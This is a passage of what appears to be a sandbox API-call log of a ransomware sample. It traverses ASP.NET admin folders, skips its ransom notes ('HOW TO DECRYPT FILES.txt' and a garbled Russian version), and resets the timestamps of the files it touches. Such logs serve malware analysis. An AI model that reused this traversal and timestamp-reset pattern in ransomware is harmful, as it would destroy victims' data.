ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x54a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="managePermissions.aspx", cAlternateFileName="MANAGE~1.ASP")) returned 0 [0137.273] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0137.273] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eeaece0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Roles", cAlternateFileName="")) returned 1 [0137.273] lstrcmpA (lpString1=".", lpString2="Roles") returned -1 [0137.273] lstrcmpA (lpString1="..", lpString2="Roles") returned -1 [0137.273] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eeaece0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6e006f, dwReserved1=0x5c0073, cFileName=".", cAlternateFileName="")) returned 0x502698 [0137.277] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.277] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eeaece0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x5c0000, cFileName="..", cAlternateFileName="")) returned 1 [0137.278] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.278] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.278] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eeaece0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="App_LocalResources", cAlternateFileName="APP_LO~1")) returned 1 [0137.278] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0137.278] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0137.278] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\App_LocalResources\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eeaece0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0137.278] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.278] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eeaece0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.279] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.279] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.279] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eeaece0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x854, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="manageAllRoles.aspx.resx", cAlternateFileName="MANAGE~1.RES")) returned 1 [0137.279] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0137.279] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="manageAllRoles.aspx.resx") returned -1 [0137.279] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="manageAllRoles.aspx.resx") returned -1 [0137.279] lstrcmpiA (lpString1="", lpString2="manageAllRoles.aspx.resx") returned -1 [0137.283] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.283] CloseHandle (hObject=0x9c) returned 1 [0137.284] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="manageSingleRole.aspx.resx", cAlternateFileName="MANAGE~2.RES")) returned 1 [0137.284] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0137.284] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="manageSingleRole.aspx.resx") returned -1 [0137.284] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="manageSingleRole.aspx.resx") returned -1 [0137.284] lstrcmpiA (lpString1="", lpString2="manageSingleRole.aspx.resx") returned -1 [0137.284] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="manageSingleRole.aspx.resx", cAlternateFileName="MANAGE~2.RES")) returned 0 [0137.284] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0137.284] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1c63, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="manageAllRoles.aspx", cAlternateFileName="MANAGE~1.ASP")) returned 1 [0137.284] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.284] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="manageAllRoles.aspx") returned -1 [0137.284] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="manageAllRoles.aspx") returned -1 [0137.285] lstrcmpiA (lpString1="", lpString2="manageAllRoles.aspx") returned -1 [0137.286] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.286] CloseHandle (hObject=0x98) returned 1 [0137.286] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2739, dwReserved0=0x0, dwReserved1=0x0, cFileName="manageSingleRole.aspx", cAlternateFileName="MANAGE~2.ASP")) returned 1 [0137.287] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.287] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="manageSingleRole.aspx") returned -1 [0137.287] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="manageSingleRole.aspx") returned -1 [0137.287] lstrcmpiA (lpString1="", lpString2="manageSingleRole.aspx") returned -1 [0137.287] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2739, dwReserved0=0x0, dwReserved1=0x0, cFileName="manageSingleRole.aspx", cAlternateFileName="MANAGE~2.ASP")) returned 0 [0137.287] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0137.287] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f02baa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x27da, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="security.aspx", cAlternateFileName="SECURI~1.ASP")) returned 1 [0137.287] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.287] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="security.aspx") returned -1 [0137.287] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="security.aspx") returned -1 [0137.287] lstrcmpiA (lpString1="", lpString2="security.aspx") returned -1 [0137.289] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.289] CloseHandle (hObject=0x94) returned 1 [0137.289] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f051c00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="security0.aspx", cAlternateFileName="SECURI~2.ASP")) returned 1 [0137.289] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.289] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="security0.aspx") returned -1 [0137.289] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="security0.aspx") returned -1 [0137.289] lstrcmpiA (lpString1="", lpString2="security0.aspx") returned -1 [0137.290] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xa04, dwReserved0=0x430045, dwReserved1=0x590052, cFileName="setUpAuthentication.aspx", cAlternateFileName="SETUPA~1.ASP")) returned 1 [0137.290] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.290] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="setUpAuthentication.aspx") returned -1 [0137.290] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="setUpAuthentication.aspx") returned -1 [0137.290] lstrcmpiA (lpString1="", lpString2="setUpAuthentication.aspx") returned -1 [0137.290] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName="Users", cAlternateFileName="")) returned 1 [0137.290] lstrcmpA (lpString1=".", lpString2="Users") returned -1 [0137.290] lstrcmpA (lpString1="..", lpString2="Users") returned -1 [0137.290] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x5015b0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0137.293] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.293] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0137.293] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.293] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.293] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9e9c5f80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x150e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="addUser.aspx", cAlternateFileName="ADDUSE~1.ASP")) returned 1 [0137.293] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.294] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="addUser.aspx") returned 1 [0137.294] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="addUser.aspx") returned 1 [0137.294] lstrcmpiA (lpString1="", lpString2="addUser.aspx") returned -1 [0137.296] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.296] CloseHandle (hObject=0x98) returned 1 [0137.296] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="App_LocalResources", cAlternateFileName="APP_LO~1")) returned 1 [0137.296] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0137.296] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0137.296] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\App_LocalResources\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5015bc, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0137.300] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.300] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0137.300] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.301] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.301] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9e9c5f80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x603, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="addUser.aspx.resx", cAlternateFileName="ADDUSE~1.RES")) returned 1 [0137.301] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0137.301] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="addUser.aspx.resx") returned 1 [0137.301] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="addUser.aspx.resx") returned 1 [0137.301] lstrcmpiA (lpString1="", lpString2="addUser.aspx.resx") returned -1 [0137.303] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.303] CloseHandle (hObject=0x9c) returned 1 [0137.303] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ec73840, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="editUser.aspx.resx", cAlternateFileName="EDITUS~1.RES")) returned 1 [0137.303] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0137.303] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="editUser.aspx.resx") returned -1 [0137.303] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="editUser.aspx.resx") returned 1 [0137.303] lstrcmpiA (lpString1="", lpString2="editUser.aspx.resx") returned -1 [0137.303] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed0bdc0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x5f0070, dwReserved1=0x6f004c, cFileName="findUsers.aspx.resx", cAlternateFileName="FINDUS~1.RES")) returned 1 [0137.303] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0137.303] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="findUsers.aspx.resx") returned -1 [0137.304] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="findUsers.aspx.resx") returned 1 [0137.304] lstrcmpiA (lpString1="", lpString2="findUsers.aspx.resx") returned -1 [0137.304] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xddd, dwReserved0=0x5f0070, dwReserved1=0x6f004c, cFileName="manageUsers.aspx.resx", cAlternateFileName="MANAGE~1.RES")) returned 1 [0137.304] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0137.304] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="manageUsers.aspx.resx") returned -1 [0137.304] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="manageUsers.aspx.resx") returned -1 [0137.304] lstrcmpiA (lpString1="", lpString2="manageUsers.aspx.resx") returned -1 [0137.304] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xddd, dwReserved0=0x5f0070, dwReserved1=0x6f004c, cFileName="manageUsers.aspx.resx", cAlternateFileName="MANAGE~1.RES")) returned 0 [0137.304] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0137.305] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ec999a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2f41, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="editUser.aspx", cAlternateFileName="EDITUS~1.ASP")) returned 1 [0137.305] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.305] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="editUser.aspx") returned -1 [0137.305] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="editUser.aspx") returned 1 [0137.305] lstrcmpiA (lpString1="", lpString2="editUser.aspx") returned -1 [0137.305] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed0bdc0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x20ba, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="findUsers.aspx", cAlternateFileName="FINDUS~1.ASP")) returned 1 [0137.305] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.305] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", 